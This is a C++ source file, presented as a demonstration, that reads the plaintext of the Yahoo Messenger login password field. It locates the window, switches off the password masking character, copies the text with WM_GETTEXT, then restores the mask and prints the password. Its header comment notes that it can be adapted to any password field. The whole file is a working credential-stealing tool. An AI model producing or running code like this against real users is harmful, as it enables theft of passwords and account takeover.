/*
Programmer: Paunoiu Alexandru Dumitru (DranaXum)
Description: This C++ source code demonstrates how we
can get the text from the Password field in Yahoo
Messenger, also it can be easily modified to retrieve
text from any password field
*/

#include<windows.h>
#include<iostream.h>
#include<stdlib.h>
#include<conio.h>

int main()
{
    HWND hwnd; //handle
    LPARAM str; //text to contain password field
    long ret,passc;
    long l; //text length
    
    //start finding password textbox
    hwnd=FindWindow("YahooBuddyMain",0);
    hwnd = FindWindowEx(hwnd, 0, "#32770", "YLoginWnd");
    hwnd = FindWindowEx(hwnd, 0, "Edit", ""); //found User textbox
    hwnd = GetWindow(hwnd, GW_HWNDNEXT); //found Password label
    hwnd = GetWindow(hwnd, GW_HWNDNEXT); //password textbox found!
    //end
    
    //get & set password char
    passc = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0);
    ret = PostMessage(hwnd, EM_SETPASSWORDCHAR, 0, 0);
    //end
    
    //get text length & allocate memory
    l = SendMessage(hwnd, WM_GETTEXTLENGTH,0,0)+1;
    str = (LPARAM)malloc(l);
    //end
    
    //get text & set default password char
    SendMessage(hwnd, WM_GETTEXT, l, str);
    ret = PostMessage(hwnd, EM_SETPASSWORDCHAR, passc, 0);
    //end
    
    //return password field text
    cout<<"Password: "<<(char*)str;
    //end
    
    getch();
    return 0;
}